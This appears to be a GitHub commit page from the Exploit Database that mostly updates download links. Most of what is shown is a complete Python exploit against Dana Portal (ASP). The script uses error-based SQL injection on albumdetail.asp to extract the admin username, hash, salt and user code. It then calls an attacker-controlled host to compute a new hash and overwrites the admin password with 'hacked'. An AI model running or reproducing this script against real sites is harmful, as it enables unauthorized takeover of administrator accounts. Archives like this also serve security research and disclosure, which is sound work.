Skip to content

Commit 029eaaf

Browse files
author
Offensive Security
committed
DB: 2015-04-27
2 new exploits
1 parent 14670d8 commit 029eaaf

43 files changed

Lines changed: 398 additions & 241 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎files.csv‎

Lines changed: 14 additions & 13 deletions
Large diffs are not rendered by default.

‎platforms/asp/webapps/8719.py‎

Lines changed: 132 additions & 132 deletions
Original file line numberDiff line numberDiff line change
@@ -1,132 +1,132 @@
1-
#!/usr/bin/python
2-
# Abysssec Inc Public Exploit Code
3-
# Title : Dana Portal Remote Change Admin Password Exploit
4-
# Affected Version : ASP Version
5-
# Vulnerable File : albumdetail.asp
6-
# Vendor Site : www.dana.ir
7-
8-
# note : no point to keep it private anymore .
9-
# This exploit ueses of sql injection vulnerability exist in DANA Portal asp version
10-
# the "real" problem is when you extract SHA1 hash , hash is not clear and is SHA1+Salt
11-
# The alghorithm is not really hard to break and writing cracker tool but i prefered
12-
# To update admin password (SH1 + Salt ) with "hacked" word .
13-
# this exploit is just for educational purpose and author will be not be responsible for any damage using this exploit .
14-
# feel free to contact me at : admin [at] abysssec.com
15-
16-
# for working with this exploit you need two asp file for updating hash you can download both from :
17-
# www.abysssec.com/files/dana.zip
18-
# www.milw0rm.com/sploits/2009-dana.zip
19-
20-
# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code
21-
22-
import string
23-
import urllib
24-
import sys
25-
import re
26-
27-
def Abysssec():
28-
print "\n"
29-
print "#####################################################"
30-
print "# DanaPortal Remote Change Password Exploit #"
31-
print "# www.Abysssec.com #"
32-
print "#####################################################"
33-
print "\n"
34-
35-
36-
37-
#Call Banner
38-
Abysssec()
39-
40-
print "\n[+] Target Host: e.g: http://site.com/danaportal/"
41-
try:
42-
host=raw_input("\nTarget Host : ")
43-
except KeyboardInterrupt:
44-
print "\n[-] Program Terminated"
45-
sys.exit()
46-
47-
48-
print "\n[+] Trying To Connect ...\n"
49-
50-
# Check Http in string
51-
if host[:7] == "http://":
52-
pass
53-
else:
54-
host = "http://"+host
55-
56-
57-
#SQL Injection URL
58-
sql_inject=host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+username+from+tblAuthor)--"
59-
60-
response = urllib.urlopen(sql_inject).read()
61-
62-
print "[+] Trying To Inject Code ...\n"
63-
64-
#Extract Admin User
65-
findall_users=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
66-
found_users=findall_users(response)
67-
68-
#check found user length
69-
if len(found_ussers)==0:
70-
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
71-
sys.exit()
72-
73-
74-
print "\n[+] Admin User : ",found_users[0]
75-
76-
# Extract Admin Hash
77-
hash_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+password+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
78-
response = urllib.urlopen(hash_inject).read()
79-
findall_hashs=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
80-
found_hashs=findall_hashs(response)
81-
if len(found_hashs)==0:
82-
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
83-
sys.exit()
84-
85-
print "\n[+] Admin Hash : ",found_hashs[0]
86-
87-
# Extract Admin Salt
88-
salt_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+salt+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
89-
response = urllib.urlopen(salt_inject).read()
90-
findall_salt=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
91-
found_salt=findall_salt(response)
92-
if len(found_salt)==0:
93-
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
94-
sys.exit()
95-
print "\n[+] Admin Salt : ",found_salt[0]
96-
97-
98-
# Extract User Code
99-
usercode_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+user_code+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
100-
response = urllib.urlopen(usercode_inject).read()
101-
findall_usercode=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
102-
found_usercode=findall_usercode(response)
103-
if len(found_usercode)==0:
104-
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
105-
sys.exit()
106-
107-
print "\n[+] Admin Code : ",found_usercode[0]
108-
109-
# Generate New Hash + Salt
110-
update_password = "http://wwww.yourasphost.com/salt.asp?salt="+found_salt[0] # change this url with yours !
111-
response = urllib.urlopen(update_password).read()
112-
findall_update=re.compile('(\w+)</object>').findall
113-
114-
found_update=findall_update(response)
115-
116-
updated_hash = ''.join(found_update)
117-
118-
# Update Password
119-
usercode_inject = host+"/albumdetail.asp?Gid=-1+UPDATE+tblauthor+SET+password='"+updated_hash+"'+where+username='"+found_users[0]+"'--"
120-
121-
response = urllib.urlopen(usercode_inject).read()
122-
123-
if len(response) == 0:
124-
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
125-
sys.exit()
126-
else:
127-
print "[+] Updated Successfully \n"
128-
print "[+] Login Url : "+host+"/manage"
129-
print "[+] Username : "+found_users[0]
130-
print "[+] Password : hacked"
131-
132-
# milw0rm.com [2009-05-18]
1+
#!/usr/bin/python
2+
# Abysssec Inc Public Exploit Code
3+
# Title : Dana Portal Remote Change Admin Password Exploit
4+
# Affected Version : ASP Version
5+
# Vulnerable File : albumdetail.asp
6+
# Vendor Site : www.dana.ir
7+
8+
# note : no point to keep it private anymore .
9+
# This exploit ueses of sql injection vulnerability exist in DANA Portal asp version
10+
# the "real" problem is when you extract SHA1 hash , hash is not clear and is SHA1+Salt
11+
# The alghorithm is not really hard to break and writing cracker tool but i prefered
12+
# To update admin password (SH1 + Salt ) with "hacked" word .
13+
# this exploit is just for educational purpose and author will be not be responsible for any damage using this exploit .
14+
# feel free to contact me at : admin [at] abysssec.com
15+
16+
# for working with this exploit you need two asp file for updating hash you can download both from :
17+
# www.abysssec.com/files/dana.zip
18+
# https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/2009-dana.zip
19+
20+
# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code
21+
22+
import string
23+
import urllib
24+
import sys
25+
import re
26+
27+
def Abysssec():
28+
print "\n"
29+
print "#####################################################"
30+
print "# DanaPortal Remote Change Password Exploit #"
31+
print "# www.Abysssec.com #"
32+
print "#####################################################"
33+
print "\n"
34+
35+
36+
37+
#Call Banner
38+
Abysssec()
39+
40+
print "\n[+] Target Host: e.g: http://site.com/danaportal/"
41+
try:
42+
host=raw_input("\nTarget Host : ")
43+
except KeyboardInterrupt:
44+
print "\n[-] Program Terminated"
45+
sys.exit()
46+
47+
48+
print "\n[+] Trying To Connect ...\n"
49+
50+
# Check Http in string
51+
if host[:7] == "http://":
52+
pass
53+
else:
54+
host = "http://"+host
55+
56+
57+
#SQL Injection URL
58+
sql_inject=host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+username+from+tblAuthor)--"
59+
60+
response = urllib.urlopen(sql_inject).read()
61+
62+
print "[+] Trying To Inject Code ...\n"
63+
64+
#Extract Admin User
65+
findall_users=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
66+
found_users=findall_users(response)
67+
68+
#check found user length
69+
if len(found_ussers)==0:
70+
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
71+
sys.exit()
72+
73+
74+
print "\n[+] Admin User : ",found_users[0]
75+
76+
# Extract Admin Hash
77+
hash_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+password+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
78+
response = urllib.urlopen(hash_inject).read()
79+
findall_hashs=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
80+
found_hashs=findall_hashs(response)
81+
if len(found_hashs)==0:
82+
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
83+
sys.exit()
84+
85+
print "\n[+] Admin Hash : ",found_hashs[0]
86+
87+
# Extract Admin Salt
88+
salt_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+salt+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
89+
response = urllib.urlopen(salt_inject).read()
90+
findall_salt=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
91+
found_salt=findall_salt(response)
92+
if len(found_salt)==0:
93+
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
94+
sys.exit()
95+
print "\n[+] Admin Salt : ",found_salt[0]
96+
97+
98+
# Extract User Code
99+
usercode_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+user_code+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
100+
response = urllib.urlopen(usercode_inject).read()
101+
findall_usercode=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
102+
found_usercode=findall_usercode(response)
103+
if len(found_usercode)==0:
104+
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
105+
sys.exit()
106+
107+
print "\n[+] Admin Code : ",found_usercode[0]
108+
109+
# Generate New Hash + Salt
110+
update_password = "http://wwww.yourasphost.com/salt.asp?salt="+found_salt[0] # change this url with yours !
111+
response = urllib.urlopen(update_password).read()
112+
findall_update=re.compile('(\w+)</object>').findall
113+
114+
found_update=findall_update(response)
115+
116+
updated_hash = ''.join(found_update)
117+
118+
# Update Password
119+
usercode_inject = host+"/albumdetail.asp?Gid=-1+UPDATE+tblauthor+SET+password='"+updated_hash+"'+where+username='"+found_users[0]+"'--"
120+
121+
response = urllib.urlopen(usercode_inject).read()
122+
123+
if len(response) == 0:
124+
print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
125+
sys.exit()
126+
else:
127+
print "[+] Updated Successfully \n"
128+
print "[+] Login Url : "+host+"/manage"
129+
print "[+] Username : "+found_users[0]
130+
print "[+] Password : hacked"
131+
132+
# milw0rm.com [2009-05-18]

‎platforms/cgi/webapps/17653.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,4 @@ http://malerisch.net/docs/advisories/adobe_robohelp_dom_cross_site_scripting_xss
1010
For reference, original vendor advisory:
1111
http://www.adobe.com/support/security/bulletins/apsb11-23.html
1212

13-
Mirror: http://www.exploit-db.com/download_pdf/17653
13+
Mirror: http://www.exploit-db.com/docs/17653.pdf

‎platforms/linux/dos/33585.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,4 @@ Versions prior to Linux kernel 2.6.33-rc6 are vulnerable.
88

99
NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled.
1010

11-
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/
11+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/33585.tgz

‎platforms/linux/dos/36633.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,4 @@ Remote attackers can exploit these issues to execute arbitrary code in the conte
66

77
Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable.
88

9-
http://www.exploit-db.com/sploits/36633.zip
9+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36633.zip

‎platforms/linux/dos/36669.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,4 @@ Apache APR is prone to a denial-of-service vulnerability.
44

55
An attacker can exploit this issue by sending specially crafted forms in HTTP POST requests.
66

7-
http://www.exploit-db.com/sploits/36669.zip
7+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36669.zip

‎platforms/multiple/dos/15086.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
|_| |_|\____/_/ \_\____/|____/
88
99
http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/
10-
http://www.exploit.db.com/sploits/moaub-23-exploit.zip
10+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/moaub-23-exploit.zip
1111
'''
1212

1313
'''

‎platforms/multiple/dos/36570.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,4 @@ Rockwell Automation FactoryTalk Activation Server is prone to multiple remote de
44

55
An attacker can exploit these issues to crash the affected application, denying service to legitimate users.
66

7-
http://www.exploit-db.com/sploits/36570.zip
7+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36570.zip

‎platforms/multiple/dos/9731.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,5 +20,5 @@ snort-2.8.4
2020
snort-2.8.5.beta*
2121

2222
link: http://pablo-secdev.blogspot.com/2009/09/snort-28-285stable-unified1-output-bug.html
23-
poc: http://www.exploit-db.com/archive/2009-snort-unified1_bug.tar.gz
23+
poc: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/2009-snort-unified1_bug.tar.gz
2424
# milw0rm.com [2009-09-21]

‎platforms/multiple/remote/22509.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ potential damage to their assets caused by Sophos.
1515
The paper is available to download at the link below.
1616

1717
https://lock.cmpxchg8b.com/sophailv2.pdf
18-
http://www.exploit-db.com/wp-content/themes/exploit/docs/22510.pdf
18+
http://www.exploit-db.com/docs/22510.pdf
1919

2020
A working exploit for Sophos 8.0.6 on Mac is available, however the
2121
techniques used in the exploit easily transfer to Windows and Linux,

0 commit comments

Comments
 (0)